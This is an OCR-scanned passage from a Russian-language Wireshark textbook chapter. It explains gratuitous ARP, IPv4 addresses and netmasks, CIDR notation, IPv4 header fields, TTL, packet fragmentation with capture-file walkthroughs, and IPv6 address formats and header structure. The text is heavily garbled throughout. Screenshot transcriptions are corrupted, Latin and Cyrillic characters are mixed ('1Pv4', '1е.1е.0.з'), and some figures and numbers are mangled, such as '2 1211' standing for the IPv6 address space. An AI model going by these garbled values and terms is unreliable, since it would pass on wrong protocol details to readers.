Torget МАС oddress: 00:00:00_00:00 :00 (00:00:00 : 00:00:00) 

@ тагgеt IP address: 24 . 6.125.19 

Nrм 1 • fl'nlN D.~ • ~: Iм11ICotji7..f1:fS · Dflsavtюn: 8IOwtЬst · Pn:!J«xr:1I: ARP · l~ RJ • lлlot ~ ARP 1Dт 24.6.llS.J!J(R~ 

а- г::::.не\> 

Рис. 7.6. Самообращенный АRР-пакет 

х 

Проанализировав Еtl1еrпеt-заголовок, можно заметить, что самообращен

ный пакет рассылается в широковещательном режиме всем хостам в сети О . 

АRР-заголовок выглядит так же, как и вАRР·запросе, за исключением того, что 

IР-адреса отправителя 8 и получателя О одинаковы. Когда самообращенный 
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пакет принимается другими хостами в сети, это приводит к обновлению их та

блиц ARP новым соответствием IP- и МАС-адресов. Поскольку данный АRР-па
кет рассьшается сам себе по инициативе отправителя, но в результате его 

появления все клиенты сети обновляют свои кеш-памяти ARP, его и назвали 
самообращенным (gratuitous). 

Появление самообращенных АRР-пакетов можно обнаружить в ряде случа

ев. Как упоминалось выше, смена IР-адреса устройства приведет к появлению 

самообращенного пакета. Кроме того, при запуске некоторых операционных 

систем происходит передача самообращенных АRР-пакетов. А в ряде систем 

самообращенные АRР-пакеты служат для поддержки балансировки нагрузки. 

Межсетевой протокол (IP) 
Основное назначение сетевых протоколов третьего уровня модели OSI со

стоит в том, чтобы обеспечить связь для обмена данными между узлами, нахо

дящихся в разных сетях. Как бьшо показано выше, МАС-адреса служат для об

мена данными в одной сети на втором уровне. Аналогично адреса на третьем 

уровне служат для обмена данными между разными сетями. Для этого можно 

воспользоваться несколькими сетевыми протоколами, но наиболее распро

страненным среди них является протокол IP (Internet Protocol - межсетевой 

протокол), который в настоящее время имеется в двух версиях: IP версии 4 и 
IP версии 6. Итак, начнем с рассмотрения протокола IP версии 4 (1Pv4), опре
деленного в стандарте RFC 791. 

Межсетевой протокол версии 4 (1Pv4) 
Чтобы понять принцип действия межсетевого протокола 1Pv4, необходи

мо знать, каким образом сетевой трафик проходит между сетями. Протокол 

1Pv4 служит основным исполнительным элементом в процессе обмена данны
ми и в конечном счете отвечает за перенос данных между устройствами неза

висимо от местоположения конечных точек устанавливаемой связи. 

Простая сеть, в которой все устройства связаны через концентраторы или 

коммутаторы, называется лтсалънай въt'числителънай сетъю (ЛВС). Если же требу

ется связать две ЛВС, это можно сделать с помощью маршрутизатора. Сложные 

сети могут состоять из тысяч ЛВС, соединяемых по всему миру тысячами марш

рутизаторов. Сам Интернет состоит из миллионов ЛВС и маршрутизаторов. 

Адреса протокола 1Pv4 
В протоколе 1Pv4 адреса представляют собой 32-разрядные числа, присва

иваемые сетевыми администраторами, которые однозначно идентифици

руют устройства, подключаемые к сети. Вряд ли кому-нибудь будет удобно 



запоминать последовательность единиц и нулей длиной 32 бита, и поэтому 
IР-адреса записываются с помощью 'Четъtрехкомпонентной (или десяти-чно-тачеч

ной) систем:ы обозначений через т01tки. 

В десятично-точечной системе обозначений каждый из четырех наборов 

единиц и нулей, составляющих IР-адрес, преобразуется в десятичное число 

в пределах от О до 255 в формате A.B.C.D (рис. 7.7). Рассмотрим в качестве 
примера IР-адрес 11000000 10101000 00000000 00000001 в исходной двоичной 

форме. Очевидно, что в такой форме запомнить или записать IР-адрес очень 

трудно. А в десятично-точечной системе обозначений этот адрес можно пред

ставить как 192 .168. О .1. 

11000000 10101000 00000000 00000001 

1 1 1 1 
192 168 о 

1 1 1 

192.168.0.1 

Рис. 7.7. /Рv4-адрес в десятично-точечной системе обозначений 

IР-адрес состоит из двух частей, которые идентифицируют как саму сетъ, 

так и узел (или хост), находящийся в этой сети. В сетевой части задается номер 

ЛВС, к которой подключено устройство, а в узловой части - номер самого 

устройства в данной сети. Однозначно определить, к какой именно части (се

тевой или узловой) относятся составляющие IР-адреса, удается далеко не всег

да. Поэтому IР-адреса снабжаются вспомогательной адресной информацией, 

называемой маской с,ети, либо (чаще всего) - маской подсети. 

l1!QЩ'1Ml!ill В этой книге под термином IР-адрес мъt всегда подразумеваем адрес про

токола 1Pv4. Далее в этой главе будет рассмотрена версия 6 протокола 
IP, в которой применяются разнъtе правила адресации. Поэтому всякий 
раз, когда М'Ы будем упоминать об IР-адресе протокола 1Pv6, мъt будем 
явно на это указъtватъ. 

Маска сети позволяет выяснить, к какой именно части (сетевой или узло

вой) относятся составляющие IР-адреса. Длина маски сети также равна 32 
битам, где каждый бит с установленной единицей обозначает составляющую 

IР-адреса, относящуюся к сетевой части. А остальные биты с установленными 

нулями относятся к узловой части. 

Рассмотрим в качестве примера IР-адрес 10 .10 .1. 22 и его двоичную фор
му 00001010 00001010 00000001 00010110. Чтобы определить расположение 

каждой части этого IР-адреса, достаточно воспользоваться маской сети. В дан

ном случае применяется маска сети 1111111111111111 00000000 00000000. Это 
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означает, что первая половина IР-адреса (10 .10 или 00001010 00001010) иден
тифицирует сетевую часть, а вторая половина ( .1. 22 или 00000001 00010110) -
отдельный узел (или хоста) в сети, как показано на рис. 7.8. 

10.10.1.22 ..... 00001010 00001010 00000001 00010110 
1 1 1 1 ___. 

255.255.0.0 ..... 11111111 11111111 00000000 00000000 

Сеть Хо ст 

10.10.1.22 
~'-v-' 

Сеть Хост 

Рис. 7.8. Маска сети определяет расположение отдельных битов в /Р-адресе 

И как следует из рис. 7.8, маски сети также моrуг быть записаны в десятич
но-точечной системе обозначений. Например, маску сети 11111111 11111111 
00000000 00000000 можно записать как 255. 255. О. О. 

IР-адреса и маски сети обычно записываются в форме CIDR (Classless Iпter
Doшaiп Routiпg- бесклассовая междоменная маршрутизация). В этой форме 

IР-адрес записывается полностью, а далее следует косая черта(/) и количество 

бит, представляющих сетевую часть IР-адреса. Например, IР-адрес 10 .10 .1. 22 
и маску сети 255. 255. О. О можно записать в форме CIDR как 10 .10 .1. 22/16. 

Структура эаrоловка в пакете 1Pv4 
IР-адреса отправителя и получателя являются главными составляющими 

заголовка пакета 1Pv4, но это еще не все сведения о протоколе IP, которые 
можно обнаружить в пакете. IР-заголовок довольно сложный в сравнении с 

рассмотренным ранее заголовком пакета ARP. Он содержит немало дополни
тельных полей с информацией, помогающей протоколу IP выполнять свои 
функции. 

Как показано на рис. 7.9, заголовок пакета 1Pv4 состоит из следующих полей. 

Межсетевой протокол версии 4 (1Pv4) 

Смещение Октет о 1 2 1 3 

Октет Бит 0-3 1 4-7 8-15 16-18 1 19-23 1 24-31 

о о Версия 1 зНо~~=к~ Тип службы Общая длина 

4 32 Идентификация Флаги 1 Смещение фрагмента 

8 64 Время жизни Протокол Контрольная сумма заголовка 

12 96 IР-адрес оmравителя 

16 128 IР-адрес получателя 

20 160 Параметры 

24+ 192+ Данные 

Рис. 7. 9. Структура заголовка в пакете /Pv4 



• Версия (Version). Версия применяемого протокола IP (для протокола 
1Pv4 она всегда будет иметь номер 4). 

• Длина заголовка (Header Length). Длина IР-заголовка. 

• Тип службы (Туре of Service ). Состоит из флагов приоритета и клас
са обслуживания, с помощью которых маршрутизаторы устанавливают 

приоритетность сетевого трафика. 

• Общая длина (Total Length). Длина IР-заголовка с учетом данных, 
включаемых в пакет. 

• Идентификация (ldentification). Идентификационный номер, одно
значно обозначающий целый пакет или последовательность фрагмен

тированных пакетов. 

• Флаги (Flags). Определяют, является ли пакет частью последователь
ности фрагментированных пакетов. 

• Смещение фрагмента (Fragment Offset). Если пакет фрагментиро
ван, значение в этом поле служит для расположения пакетов в правиль

ном порядке. 

• Время жизни (Time to Live ). Определяет время жизни пакета, изме
ряемое в переходах или секундах прохождения через маршрутизаторы. 

• Протокол (Protocol). Обозначает заголовок протокола транспортного 
уровня, который инкапсулирован в пакет 1Pv4. 

• Контрольная сумма заголовка (Header Checksum). Механизм выяв
ления ошибок, применяемый с целью проверить, не испорчено и не на

рушено ли содержимое IР-заголовка. 

• IР-адрес отправителя (Source IP Address). IР-адрес хоста, пославше
го пакет. 

• IР-адрес места получателя (Destination IP Address ). IР-адрес хоста, 
для которого предназначен пакет. 

• Параметры (Options). Это поле зарезервировано для дополнительных 
параметров протокола IP, включая маршрутизацию от источника и от
метки времени. 

• Данные (Data). Конкретные данные, передаваемые по протоколу IP. 

Время жизни 

Файл:ы жрехвата ip _ ttl _ source. 
pcapng и ip _ ttl _ dest. pcapng 

Величина времени жизни (Тiше to Live -
TTL) определяет период времени, которое 
может истечь, или максимальное количе

ство маршрутизаторов, которые может пройти пакет, прежде чем он будет ан

нулирован по протоколу 1Pv4. Время жизни определяется при создании 
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пакета и обычно уменьшается на единицу всякий раз, когда пакет пересылает

ся следующему маршрутизатору. Так, если время жизни пакета равно 2, то пер
вый маршрутизатор, которого он достигнет, уменьшит это время до 1 и пере
сылает пакет второму маршрутизатору. А тот, в свою очередь, уменьшит время 

жизни пакета до нуля, и если конечный получатель пакета оказывается не в 

текущей сети, то такой пакет аннулируется (рис. 7.1 О). 

!;1]-m 1 --1 :::: ЕВI • 

Qt ш2 • I :::: ЕВf-m 1 -1 :::: ЕВI • (S) 

~ ТТl 3 • 1 :::: E::Jf-Пl2 • 1 :::: ЕВf-ТТl 1 --1 :::: ЕВ1--I _..,.. (S) 
Рис. 7. 1 О. Время жизни пакета (ТТL) уменьшается на единицу всякий раз, 
когда он проходит через маршрутизатор 

Почему так важно иметь в виду время жизни пакетов? Как правило, оно 

представляет интерес только с точки зрения того времени, которое требуется 

для прохождения пакета от его отправителя до получателя. Представьте, од

нако, пакет, который должен дойти до хоста через Интернет, пройдя десятки 

маршрутизаторов. В какой-то точке этого пути может встретиться неверно на

строенный маршрутизатор, из-за чего пакет собьется со своего пути к конечно

му месту своего назначения. В таком случае неверно настроенный маршрутиза

тор способен сделать немало такого, что могло бы нарушить нормальную рабо

ту сети. В частности, он может разослать пакет по сети в бесконечном цикле. 

Бесконечный цикл может вызвать самые разные осложнения, но, как пра

вило, это приводит к аварийному сбою как отдельной программы, так и всей 

операционной системы. Теоретически то же самое может произойти с паке

тами в сети, которые будут циклически перемещаться между маршрутизато

рами. А по мере роста количества таких пакетов в сети ее пропускная способ

ность будет падать вплоть до возникновения условия отказа в обслуживании. 

Во избежание этого и было внедрено время жизни пакетов. 

Обратимся к конкретному примеру анализа пакетов в Wireshark. В част
ности, файл перехвата ip _ t tl _ source. pcapng содержит два пакета ICMP. Для 
доставки пакетов в сетевом протоколе ICMP, рассматриваемом далее в этой 
главе, применяется протокол IP. Об этом можно судить, развернув соответ
ствующую часть IР-заголовка в панели Packet Details. Как показано на рис. 7.11, 



в данном пакете применяется версия 4 протокола IP О, длина IР-заголовка со
ставляет 20 байт 8, общая длина заголовка и полезной информации - 60 байт 
о' а величина времени жизни пакета - 128 е . 

• Wir<Shork. Packet 1 · ip_ttl_source о х 

Fra111e 1: 74 bytes on wire (592 Ыts), 74 bytes captured (592 Ыts) 
Ethern"t II, Sгс: Hewl"tlP_bf:91:"" (00:2S:bЗ:bf:91:e"), Ost: Cisco-li_бб:71:9S (00:21'29:66:71:95) 

v Int"гnet Protocol Version 4, Sгс: 10.10.0.З, Ost: 192.168.0.128 
0100 ...• • v"rsion: 4 О 
.... 0101 • Неоdег length: 20 byt"s f) 
Oifferentiated Services Field: 0х00 (OSCP: CS0, ECN: Not·ECT) 
Total Length: б0 8 
Identification: 0x728d (29325) 
Flags: ехее 
fгol!'""nt offset: е 
Title to live: 128 О 
Pгotocol: IСМР (1) 

> Неаdег checksUll: 0х0000 [validation disaЬled] 
Source: 1е.1е.0.з 0 
O<!stinotion: 192.168.0.128 0 
(Source GeoIP: Unknown] 
(Destination беоIР: Unknown] 

Int"rnet Contгol ""ssage Protocol 

Рис. 7. 11. /Р-заrоловок исходного пакета 

Основное назначение эхо-запроса 110 протоколу ICMP - проверить связь 

между устройствами. В частности, данные посылаются от одного хоста к дру

гому в виде запроса, а принимающий их хост должен отправить эти данные 

обратно в качестве ответа. В упомянутом выше файле перехвата одно устрой

ство с адресом 10 .10. О. 3 0 посылает эхо-запрос ICMP другому устройству с 
адресом 192 .168. О .128 0. Этот первоначальный файл перехвата был создан в 
хосте-отправителе по адресу 10 .10. О. 3. 

А теперь откройте файл перехвата ip_ttl_dest.pcapng. В этом файле дан
ные перехвачены в хосте-получателе по адресу 192 .168. О .128. Разверните 

IР-заголовок первого пакета из этого файла перехвата, чтобы выяснить время 

жизни данного пакета. 

Как следует из рис. 7.12, время жизни первого пакета равно 127 О, т.е. оно 

на 1 меньше первоначального времени жизни данного пакета, которое равно 

128. Даже не зная структуру сети, можно сделать вывод, что оба упомянутых 

выше устройства разделены маршрутизатором, а следовательно, время жизни 

пакета при прохождении через маршрутизатор уменьшается на 1. 



• Wireshark · Pack•t 1 · ip_ttl_dest о 

1
. fr- 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bit.s) 
' Ethernet II, Sгс : Cisco-li_бб:71:94 {00:21:29:66:71:94), Ost: Dell_c0:Sб:f0 (00:21:70:c0:Sб:f0) 
v Interne1: Protocol Veгsion 4, Src: 1&.10.8.3, Ost; 192.168.8.128 

е100 . . . . • Version: 4 
.... 0101 • Неаdег Length: 20 bytes 

> Diffeгentiated Services Field: ехое (DSCP: CS0, ECN: Not-ECТ) 

Total Length: 60 

Identi fication: 0x728d (29325) 
> Flags: ехое 

Fгagitent offset: 0 

Time to live: U7 О 
Protocol: ICllP (1) 
Неаdег checksU11: Oxfdfe [ validation disaЫed] 

Source: 18.18.8.З 
Destination: 192.168.0.128 
[ Souгce Geo!P: Unknown] 
[Destination Geo!P: Unknown] 

j > Internet Control Messege PгotocoI 

х 

Рис. 7. 12. Как следует из /Р-заrоловка, время жизни пакета уменьшилось 
на единицу 

Фрагментация пакетов IP 
Файл перехвата ip _ Фрагментация пакетов - это средство протокола IP, oбe
frag_ source. pcapng спечивающее надежную доставку данных по разнотип· 

ным сетям путем разбиения потока данных на мелкие 

фрагменты. Фрагментация пакетов основывается на размере максималъного пе

редава.е.мого блока (MTU, Махiшuш Tra11smissio11 Uпit) для протокола второго 
канального уровня, а также конфигурации устройств, применяющих этот про

токол. Как правило, на втором канальном уровне применяется сетевой прото

кол Etl1erпet, где размер блока MTU по умолчанию равен 1500. Это означает, 
что по сети Etl1er11et можно передать пакет размером максимум 1500 байт, не 
включая длину Еtl1еr11еt-заголовка, равную 14 байт. 

le!QЩ!pM!!ilii Несмотря на то что имеются стандартные зна'Чl!'Ния размера блока 

МТИ, О'Чl!'НЪ часто размер этого блока на конкретном устройстве мо

жет бытъ изменен вручную. Длииа блока MTU устанавливается для 
каждого отделъиого сетевого интерфейса и может изменятъся в систе

мах Windows и Uпих, а также в интерфейсах управляемых маршfrути
зат()jJов. 

Когда устройство готово к передаче IР-пакета, оно определяет, стоит ли 

разбивать пакет на фрагменты, сравнивая размер данных в пакете с размером 

блока MTU того сетевого интерфейса, через который будет передаваться этот 



пакет. Если размер данных оказывается больше, чем у блока MTU, пакет будет 

фрагментирован. Процесс фрагментации пакетов разделяется на следующие 

стадии. 

1. Устройство разделяет данные на количество пакетов, требующееся для 

их успешной передачи. 

2. В поле общей длины (Total Length) каждого IР-заголовка задается размер 

сегмента для каждого фрагмента. 

3. Во всех пакетах, кроме последнего в потоке данных, устанавливается 

флаг Маге fragments (Дополнительные фрагменты). 

4. В поле смещения фрагмента (Fragment offset) IР-заголовка задается кон

кретное смещение для текущего фрагмента, которое он должен зани

мать в потоке данных. 

5. Далее пакеты передаются по сети. 

Файл перехвата ip _ frag_ source. pcapng бьш создан на компьютере с адре

сом 10 .10. О. 3, передавшим эхо-запрос по протоколу ICMP устройству с ад

ресом 192 .168. О .128. Обратите внимание на то, что в столбце из панели Pack

et List перечислены два фрагментированных IР-пакета, после которых следует 

эхо-запрос по протоколу ICMP. Итак, начните с анализа IР-заголовка первого 

пакета (рис. 7.13) . 

• Wireshark: · Packet 1 · ip_frag_source о х 

FroRle 1: 1514 Ьytos on wiro (12112 Ьits), 1514 b~os coptured (12112 bits) 

) Ethornot II, Src: НewlottP_bf:91:oo (00:2S:b3:bf:91:ee), Dst: Cisco-li_б6:71:9S (110:2.1:29:66:71:95) 

v Inteгnet Pгotocol Version 4, Src: 1е.1е.е.э, Ost: 192.168.0.128 
0100 ....... Version: 4 

. . . . 0101 • нeader Leng1:h: 20 b~os 
> Oiffeгentiated Services Field: 0х00 (DSCP: CS8, ECN: tIOtфECT) 

Tot:11l length: 1500 
Idontific1tion: 0х7474 (29812) 

v Flogs: 0xlll (Ноrо Frogments) 
0 ... .... "" Reserved Ыt: Not set 
.е .. .... "" Don't frag.went: Not set 
.• 1. . . . . • Ноrе frag11onts: Set О 

Fr1gJ11ent offset: 0 f} 
Т:iм: to live: 128 
Protocol: IСМР (1) 

> нeoder checksщ1: 0х11000 [volidotion disaЫod] 
Source: 19.10.0.3 

Oestin5tion: 192.168.0.128 

[Source GeoIP: Unknown] 
[ Destinotion GeoIP: Unknowл] 

ReassemЬled !Ру4 in fra•e; 3 

> D1ta (1480 b~os) 

-
1*:1.11 · r,,_O.DOtJOOll · Sc:urwlO.JD.D.J·o.sьмoon:J1J,J&ll.D.J.l8 · ~1P 1514 , Jnfot~/PprutoCD/{p«D.J01PI, olf.410.741-f}~,,, 

Рис. 7. 13. Значения в полях More fragments и Fragment offset из /Р-зоголовко 

указывают но то, что это фрагментированный пакет 



Как видите, этот пакет составляет часть фрагмента данных, исходя из зна

чений в полях Моге fragments и Fragment offset. Если пакеты являются фрагмен
тами, то в поле Моге fragments будет установлен соответствующий флаг или же 
в поле Fragment offset будет указано ненулевое положительное значение. Так, в 
поле Моге fragments из IР-заголовка первого пакета установлен флаг О , указыва

ющий на то, что принимающее устройство должно предполагать получение 

еще одного пакета из данной последовательности. А в поле Fragment offset уста
новлено нулевое значение 8, указывающее на то, что данный пакет является 
первым в последовательности фрагментов. 

В поле More fragments IР-заголовка второго пакета (рис. 7.14) также установ
лен флаг О, но на этот раз в поле Fragment offset задано значение 1480 8. Это 
свидетельствует о том, что размер первого пакета соответствует размеру бло

ка MTU и составляет 1500 байт, из которых 20 байт занимает IР-заголовок. По

этому данные из второго полученного пакета должны быть помещены в поток 

со смещением в 1480 байт. 

~ Wireshark · Packet 2 · 1p_frag_source о 

Fraiae 2: 1514 bytes оп wire (12112 bits), 1514 Ьytes captured (12112 bits) 
> Ethernet II, Src: НewlettP_bf:91:ee (00:2S:bЗ:bf:9l:ee), Dst: Cisco-li_б6:71:95 (80:21:29:66:71:95) 
v Internet Protocol Version 4, Src: 1е.1е.е. 3 1 Dst: 192 .168 .0.128 

0100 . . . . -= Veгsion: 4 
. . . . 0101 • неаdег length: 20 bytes 
Differentiated Services Field: 8х00 {OSCP: CS0, EUI: Not-ECТ) 
Total Length: 1500 
Identification: 0х7474 (29812) 

v Flogs: 0х01 (Моr< Frapents) 
0 .. , = Reserved bi t: Not set 
.0" "" • Don't frognient: Not set 
. . 1 ..... = Моrе fragments: Set О 

Fragient offset: 1480 б 
Tinмo to live: 128 
Protocol: IСМР (1) 
Неаdег checksuaa: ехееее [validation disaЫed] 
Source: 10.10.0.З 
Oestination: 192.168.0.128 

[Source U..OIP: Unknown] 
(Destination U..OIP: Unknown] 
Rri!SS(mЬled I?v4 in fra11e : з 

Data (1480 bytes) 

х 

Na.: 1 rmo: 0.0lXXJIO . ~ 10.ID.U . ОМ.-.: бl.!68.0.118. """'1ai: JPW _ ш• · ln!iн ~ IP""""""{J;trJФ.JCNP J, af'•J480, I0-7474){R~• 

1 aose ~ 

Рис. 7. 14. Значение в поле Fragment offset увеличивается в зависимости 

от размера пакетов 

В поле More fragments из IР-заголовка третьего пакета (рис. 7.15) флаг не 
установлен 8, указывая на то, что это последний фрагмент в потоке данных, 
а в поле Fragment offset задано значение 2960 О, получаемое в результате сложе
ния размеров второго и первого пакетов (1500 - 20) * 2. Все эти фрагменты 



могуг быть распознаны как часть одной и той же последовательности данных, 

поскольку в поле идентификации (ldentification) их IР-заголовков установлены 
одинаковые значения О . 

• Vliresh•rk · Packd: З · ip_frag_source о х 

-
freR 3: 582 bytos on wir. (4656 Ыts), 582 bytos copturod (4656 Ыts) 
Ethernet II, Src: Hewlet1:P_bf:91:ee (00:25:b3:bf:91:oe), Dst: Cisco-li_66:71:95 (00:21:29:66:71:95) 

v Internet Protocol Verslon 4" Src: 1е.1е.е.э, Ost: 192.168.e.us 
8108 . . . . • Version: 4 
.... 8181 • Нeoder length: 28 bytes 

> Differentiated Services field: 8х00 (DSCP: CS0, ECN: Not-ECT) 
Totol length: 568 
Identificotion: 8х7474 (29812) 0 

..., Flags: 0х80 

0. . . . ... " Reserved bit: Not set 
.е .. .... " Oon't fri!tpent: r«:>t set 

.. е ..... • Ноrе frognoents: llot set f) 
froll""'nt offset: 2968 €) 
Til!И! to live: 128 
Protocol: I01P (1) 
Не11dег checksu11: ех0000 [validation disaЬled] 
Source: 10.10.0.З 

Destination: 192.168.0.128 
[SOurco GeoIP: Unknown] 
[Destinotion GeoIP: Unknown] 

> [3 IPv4 frogioonts (3588 bytos): •1(1480), #2(1488), •3(548)] 
> Internet Contгol Нessage Protocol 

Рис. 7. 15. Флаг в поле More fragments не установлен, указывая на то, что 
это последний фрагмент в потоке данных 

Теперь фрагментированные пакеты можно обнаружить в сети не так часто, 

как это бывало прежде. Тем не менее следует ясно понимать причины фраг

ментации пакетов, чтобы, обнаружив их, произвести диагностику сети или 

выявить недостающие фрагменты. 

Межсетевой протокол версии 6 (1Pv6) 
Когда была составлена спецификация сетевого протокола 1Pv4, никто даже 

представить себе не мог такое количество устройств, подключенных к Интер

нету, которые существуют в настоящее время. Максимальное пространство 

адресов по протоколу 1Pv4 ограничивалось всего лишь 4,3 миллиарда. Но фак
тическое пространство адресов сокращается еще больше, если вычесть диа

пазоны адресов, зарезервированные для специального применения, включая 

тестирование, широковещательный трафик и внутренние адреса по стандар

ту RFC 1918. Несмотря на то что было предпринято несколько попыток так 
или иначе задержать исчерпание пула 1Рv4-адресов, в конечном итоге остал

ся единственный способ преодолеть данное ограничение: разработать новую 

версию спецификации на сетевой протокол IP. 



Таким образом, была составлена спецификация на сетевой протокол IPvб, 

а первая ее версия была выпущена как стандарт RFC 2460 в 1998 году. В этой 
версии был внедрен ряд усовершенствований производительности, включая 

намного более обширное пространство адресов. В этом разделе мы рассмо

трим структуру пакета IPvб и обсудим отличия протокола IPvб от его предше

ственника в отношении обмена данными по сети. 

Адреса протокола 1Pv6 

Длина адресов в протоколе 1Pv4 ограничивалась 32 битами, обеспечи
вая пространство, измерявшееся миллиардами адресов. А длина адресов 

в протоколе IPvб составляет 128 бит, что в 4 раза больше и обеспечивает 
пространство в 2 1211 адресов, позволяющее охватить ундециллионы хостов 

(т.е. триллионы триллионов триллионов). И это весьма существенное усо

вершенствование! 

Но поскольку длина адресов протокола IPvб составляет 128 бит, то мани
пулировать ими в двоичной форме очень неудобно. Чаще всего IРvб-адрес за

писывается в виде восьми двухбайтовых групп, представленных в шестнадца

теричной форме, причем каждая группа разделяется двоеточием. Например, 

самый простой IРvб-адрес выглядит следующим образом: 

llll:aaaa:2222:bbbb:3333:cccc:4444:dddd 

Глядя на такой адрес, невольно возникает такая же мысль, как и у многих из 

тех, кто привык запоминать 1Рv4-адреса: запомнить IРvб-адреса практически 

невозможно. И это неизбежный компромисс, на который пришлось пойти 

ради расширения пространства адресов. 

Впрочем, столь неудобное обозначение IРvб-адресов иногда можно упро

стить, свернув некоторые группы нулей. Рассмотрим в качестве примера сле

дующий IРvб-адрес: 

1111:0000:2222:0000:3333:4444:5555:6666 

Группы, состоящие из нулей, можно полностью свернуть, чтобы сделать их 

невидимыми, как показано ниже. 

1111::2222:0000:3333:4444:5555:6666 

Но свернуть можно только одну группу нулей, и поэтому следующий адрес 

считается недействительным: 

1111::2222::3333:4444:5555:6666 



С..ледует также иметь в виду, что начальные нули можно исключить из 

1Рv6-адресов. Рассмотрим в качестве примера следующий адрес, где в четвер

той, пятой и шестой группах имеются начальные нули: 

1111:0000:2222:0333:0044:0005:ffff:ffff 

Этот адрес можно представить более эффективно приведенным ниже об

разом. Безусловно, пользоваться таким адресом не так просто, как 1Рv4-адре

сом, но все же намного легче, чем в более длинной записи. 

1111::2222:333:44:5:ffff:ffff 

1Рv6-адрес также состоит из сетевой и узловой частей, которые нередко 

называются сетевъtм префиксом и идентификатором интерфейса соответственно. 

Распределение этих частей меняется в зависимости от классификации обме

на данными по протоколу 1Pv6. В частности, сетевой трафик по протоколу 
1Pv6 разделяется на следующие категории: одноадресатный (unicast), многоа
дресатный (multicast) или альтернативный (anycast). Зачастую анализировать 
приходится внутриканальный одноадресатный трафик, т.е. обмен данными 

между устройствами в одной сети. Формат внутриканального одноадресатно

го 1Рv6-адреса в таком трафике приведен на рис. 7.16. 

Запопнение 

fe80:0000:0000:0000:7a31 :с1 ff:fecb:Ы56 
'-.,-' 
Префикс Идентификатор интерфейса 

Рис. 7. 16. Отдельные части внутриканального 
одноадресатного /Рv6-адреса 

Внутриканальные адреса применяются в тех случаях, когда данные требует

ся передать другому устройству в той же самой сети. Внутриканальный адрес 

можно распознать по установке двоичного значения 1111111010 в 10 старших 
его битах и нулей в последующих 54 битах. Таким образом, внутриканальный 
адрес можно выявить по первой его половине в форме fe80: 0000: 0000: 0000. 

Вторую половину внутриканального 1Рv6-адреса составляет идентифи

катор интерфейса, однозначно определяющий сетевой интерфейс в око

нечном хосте. В сетях Ethernet этот идентификатор может основываться на 
МАС-адресе сетевого интерфейса. Но длина МАС-адреса не превышает 48 бит. 
Чтобы заполнить все 64 бита, МАС-адрес разделяется надвое, и между обра
зовавшимися половинами вставляется шестнадцатеричное значение Oxfffe в 
качестве заполнения, чтобы получить в итоге однозначный идентификатор. 

И, наконец, обращается седьмой бит в первом байте. Это довольно сложная 



операция, поэтому рассмотрим структуру идентификатора интерфейса, при

веденную на рис. 7.17, где исходный МАС-адрес устройства, обозначаемого 
этим идентификатором, бьv~ равен 78:Зl:сl:сЬ:Ь2:56. Затем байты шестнад

цатеричного значения Oxfffe бьv~и вставлены посредине и далее обращен 
седьмой бит в первом байте, сменив шестнадцатеричную цифру 8 на а. 

Заполнение 

~ 
7а31 :с1 ff:fecb:ЫSб 
'--y--J '--y--J 
МАС-адрес 

(первая половина) 

МАС-адрес 

(вторая половина) 

Рис. 7. 17. Идентификатор сетевого интерфей
са, составляемый из МАС-адреса этого интер

фейса и соответствующего заполнения 

IРvб-адреса могут быть представлены в упоминавшейся ранее форме CIDR 
аналогично 1Рv4-адресам. В следующем примере 64-разрядное пространство 

адресов представлено внутриканальным адресом: 

feB0:0000:0000:0000:/64 
Композиция 1Рv6-адреса изменятся, когда он используется в глобальном од

ноадресатном трафике, направляемом через открытый Интернет (рис. 7.18). 
Если 1Рv6-адрес применяется в таком трафике, то глобальная одноадресатная 

передача выявляется по наличию комбинации 001, установленной в первых 
трех битах, после чего следует 45-разряный префикс глобальной маршрутиза

ции. Этот префикс присваивается организациям Центром по присвоению но

меров Интернета (lnternet Assigned Numbers Autlюrity - IANA) и служит для 
однозначного определения IР-пространства организации. Следующие 16 бит 
выделяются под идентификатор подсети, который служит для иерархической 

адресации аналогично той части 1Рv4-адреса, которая относится к маске сети. 

И последние 64 бита выделяются для идентификатора сетевого интерфейса, 
как и во внутриканальных одноадресатных адресах. Размеры префикса марш

рутизации и идентификатора подсети могут изменяться. 

Префикс сети 

2001:4860:4860:0000:7а31 :с1 ff:fecb:b256 
----.....---"-у-J---------

Префикс 
маршрутизации 

Идентификатор 
подсети 

Идентификатор 
интерфейса 

Рис. 7. 18. Отдельные части глобального индивидуального /Рv6-адреса 



Сетевой протокол IPvб обеспечивает намного большую эффективность, 

чем протокол 1Pv4 с точки зрения маршрутизации пакетов к их получателю и 
употребления пространства адресов. Такая эффективность обусловлена более 

обширным диапазоном доступных адресов и применением внутриканальной 

и глобальной адресации наряду с однозначными идентификаторами хостов. 

l11Q'ИIPiil!lii Визуалъно отличитъ !Рvб-адреса от !Рv4-адресов человеку совсем не 

трудно, тогда как многие программы на это неспособны. Чтоб'Ьt ука

затъ !Рvб-адрес, в некоторых приложениях, в том числе браузерах или 

утилитах командной строки, его приходится за'К.Лючат'Ь в квадро:тнъtе 

скобки следующим образом: [1111: : 2222: ЗЗЗ: 44: 5: ffff]. Данное 
требование не всегда документировано надлежащим образом, поэтому 

нередко оно становилосъ источником недоразумений для многих, когда 

они изучали протокол !Рvб. 

Структура эаrоnовка в пакете 1Pv6 

Файл перехвата http_ 
ip4and6.pcapng 

Структура заголовка в пакете IPvб была расширена 

для поддержки дополнительных возможностей, хотя 

она и разработана с целью упростить ее синтаксиче

ский анализ. Теперь заголовки имеют фиксированную длину 40 байт, а не пе
ременный размер, требовавший ранее проверять поле длины заголовка для 

его синтаксического анализа. Дополнительные параметры предоставляются 

благодаря расширению заголовков. Преимущество такого подхода заключает

ся в том, что в большинстве маршрутизаторов достаточно обработать 40-бай

товый заголовок, чтобы переслать пакет дальше. 

Как показано на рис. 7.19, IРvб-заголовок состоит из следующих полей. 

• Версия (Version). Это версия применяемого протокола IP (для прото
кола IPvб она всегда будет иметь номер 6). 

• Класс трафика (Traffic Class). Служит для назначения приоритетов 
определенным классам сетевого трафика. 

• Метка потока (Flow Label). Употребляется отправителем для отметки 
ряда пакетов, принадлежащих одному и тому же потоку. Как правило, 

это поле служит для управления качеством обслуживания (QoS) и гаран
тии, что пакеты из одного и того же потока будут направлены по тому 

же самому пути. 

• Длина полезной информации (Payload Length). Длина полезных 
данных, следующих после IРvб-заголовка в пакете. 
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Межсетевой протокол версии 6 (1Pv6) 

Смещение Октет о 1 1 1 2 1 3 

Октет Бит 0-3 1 4-7 1 8-11 1 12-15 1 16-23 1 24-31 

о о Версия 1 Кnасс трафика 1 Метка потока 

